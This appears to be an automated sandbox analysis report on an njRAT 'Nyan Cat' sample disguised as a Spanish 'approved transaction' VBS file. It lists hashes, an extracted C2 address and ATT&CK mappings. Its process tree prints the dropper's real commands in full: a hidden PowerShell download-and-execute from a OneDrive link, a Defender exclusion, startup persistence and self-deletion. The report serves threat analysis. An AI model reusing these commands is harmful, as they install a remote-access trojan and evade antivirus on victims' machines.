njrat | 4df37056407ca0353e2357399ec8f2bd7583b6d10fc5d1d4f6744b9415a1ce2f

General

Target

Transaccion Aprobada.vbs
Size

1KB
MD5

45beeab3735b33386dc605d813ab1712
SHA1

9570171eb0875939b3a9fd51710422036ca968a7
SHA256

4df37056407ca0353e2357399ec8f2bd7583b6d10fc5d1d4f6744b9415a1ce2f
SHA512

3b7077d939301d4708a8d41d27bfe0df8e4d703d07af8882e14b02b65dfde303b13f2a428c2911fe3d1eb086e05199bb791562e490ac28092fbd6f520102335e

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21130&authkey=AEqY-yNYbKJY9pM

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

reald27.duckdns.org:3525

Mutex

d58e514d83d54f2c

Attributes

reg_key
d58e514d83d54f2c
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1232 powershell.exe
9 1232 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Hostdyn.exeHostdyn.exe

pid process

572 Hostdyn.exe
388 Hostdyn.exe

flow	pid	process
7	1232	powershell.exe
9	1232	powershell.exe

pid	process
572	Hostdyn.exe
388	Hostdyn.exe

Drops startup file 2 IoCs

Processes:

WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Transaccion Aprobada.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Transaccion Aprobada.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Hostdyn.exe

description pid process target process

PID 572 set thread context of 388 572 Hostdyn.exe Hostdyn.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1232 powershell.exe
1232 powershell.exe
544 powershell.exe
544 powershell.exe

description	pid	process	target process
PID 572 set thread context of 388	572	Hostdyn.exe	Hostdyn.exe

pid	process
1232	powershell.exe
1232	powershell.exe
544	powershell.exe
544	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exepowershell.exeHostdyn.exe

description	pid	process
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	388	Hostdyn.exe
Token: 33	388	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	388	Hostdyn.exe
Token: 33	388	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	388	Hostdyn.exe
Token: 33	388	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	388	Hostdyn.exe
Token: 33	388	Hostdyn.exe
Token: SeIncBasePriorityPrivilege	388	Hostdyn.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

WScript.exepowershell.exeHostdyn.exeHostdyn.exe

description	pid	process	target process
PID 1104 wrote to memory of 1232	1104	WScript.exe	powershell.exe
PID 1104 wrote to memory of 1232	1104	WScript.exe	powershell.exe
PID 1104 wrote to memory of 1232	1104	WScript.exe	powershell.exe
PID 1232 wrote to memory of 572	1232	powershell.exe	Hostdyn.exe
PID 1232 wrote to memory of 572	1232	powershell.exe	Hostdyn.exe
PID 1232 wrote to memory of 572	1232	powershell.exe	Hostdyn.exe
PID 1232 wrote to memory of 572	1232	powershell.exe	Hostdyn.exe
PID 572 wrote to memory of 544	572	Hostdyn.exe	powershell.exe
PID 572 wrote to memory of 544	572	Hostdyn.exe	powershell.exe
PID 572 wrote to memory of 544	572	Hostdyn.exe	powershell.exe
PID 572 wrote to memory of 544	572	Hostdyn.exe	powershell.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 572 wrote to memory of 388	572	Hostdyn.exe	Hostdyn.exe
PID 388 wrote to memory of 2024	388	Hostdyn.exe	cmd.exe
PID 388 wrote to memory of 2024	388	Hostdyn.exe	cmd.exe
PID 388 wrote to memory of 2024	388	Hostdyn.exe	cmd.exe
PID 388 wrote to memory of 2024	388	Hostdyn.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transaccion Aprobada.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -noprofile -windowstyle hidden -command "Set-Content -value (new-object System.net.webclient).downloaddata( 'https://onedrive.live.com/download?cid=4DBCDBEA8A120146&resid=4DBCDBEA8A120146%21130&authkey=AEqY-yNYbKJY9pM' ) -encoding byte -Path $env:appdata\Hostdyn.exe; Start-Process $env:appdata\Hostdyn.exe"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1232

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:544

C:\Users\Admin\AppData\Roaming\Hostdyn.exe
"C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:388

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C Y /N /D Y /T 1 & Del "C:\Users\Admin\AppData\Roaming\Hostdyn.exe"
5⤵
PID:2024

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
b72b20872a637d841db23f5286cf01de

SHA1
cf0edcc2c463db02b293cce55350a15b41ae9858

SHA256
08166900fffa4926908b2aecd952f66c88a8cef115d6622ec601ade188726042

SHA512
7df3e8f2abcb54dd32c0ecb3622ace69a375c74efc0ea160620137b5ac789bf16bf15cadf6ad521cbd0f30dece4e38ccbe4246e374283e0387a73ace8320c04c

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d

SHA1
2b0fc1b8bad1b638a1798ada05e5c47c5c920cff

SHA256
30657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0

SHA512
55fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d

SHA1
2b0fc1b8bad1b638a1798ada05e5c47c5c920cff

SHA256
30657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0

SHA512
55fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0

Download Submit
C:\Users\Admin\AppData\Roaming\Hostdyn.exe
MD5
c0f47cefd86e4f7001fc2ddb8f3e0c5d

SHA1
2b0fc1b8bad1b638a1798ada05e5c47c5c920cff

SHA256
30657f9922b3a20543bd4de8638cbdba793bcda6ad307e61f3227dce43b705d0

SHA512
55fa81a60bc5db3640cdfd59efcc2ee4d1545462af80722f9eec930ba4223c86a052d921ecf2496f35583801864d75f379a4766718b1ccc114ea95b4d68dc9f0

Download Submit
memory/388-82-0x000000000040677E-mapping.dmp

Download
memory/388-93-0x0000000004B90000-0x0000000004B91000-memory.dmp

Filesize
4KB

Download
memory/388-85-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/388-81-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/544-88-0x0000000004890000-0x0000000004891000-memory.dmp

Filesize
4KB

Download
memory/544-92-0x0000000005280000-0x0000000005281000-memory.dmp

Filesize
4KB

Download
memory/544-103-0x0000000006160000-0x0000000006161000-memory.dmp

Filesize
4KB

Download
memory/544-111-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/544-91-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/544-84-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/544-112-0x0000000006220000-0x0000000006221000-memory.dmp

Filesize
4KB

Download
memory/544-110-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/544-126-0x0000000006300000-0x0000000006301000-memory.dmp

Filesize
4KB

Download
memory/544-90-0x0000000004852000-0x0000000004853000-memory.dmp

Filesize
4KB

Download
memory/544-80-0x0000000000000000-mapping.dmp

Download
memory/544-87-0x00000000022B0000-0x00000000022B1000-memory.dmp

Filesize
4KB

Download
memory/544-89-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/544-97-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/544-127-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/544-102-0x00000000060D0000-0x00000000060D1000-memory.dmp

Filesize
4KB

Download
memory/572-74-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

Filesize
4KB

Download
memory/572-71-0x0000000000000000-mapping.dmp

Download
memory/572-79-0x0000000000650000-0x000000000065A000-memory.dmp

Filesize
40KB

Download
memory/572-78-0x00000000022E0000-0x000000000231F000-memory.dmp

Filesize
252KB

Download
memory/572-77-0x00000000003C0000-0x00000000003D6000-memory.dmp

Filesize
88KB

Download
memory/572-76-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

Filesize
4KB

Download
memory/1104-60-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

Filesize
8KB

Download
memory/1232-63-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1232-65-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/1232-61-0x0000000000000000-mapping.dmp

Download
memory/1232-64-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

Filesize
4KB

Download
memory/1232-70-0x000000001B620000-0x000000001B621000-memory.dmp

Filesize
4KB

Download
memory/1232-69-0x000000001B550000-0x000000001B551000-memory.dmp

Filesize
4KB

Download
memory/1232-68-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/1232-67-0x000000001AC24000-0x000000001AC26000-memory.dmp

Filesize
8KB

Download
memory/1232-66-0x000000001AC20000-0x000000001AC22000-memory.dmp

Filesize
8KB

Download
memory/2024-128-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads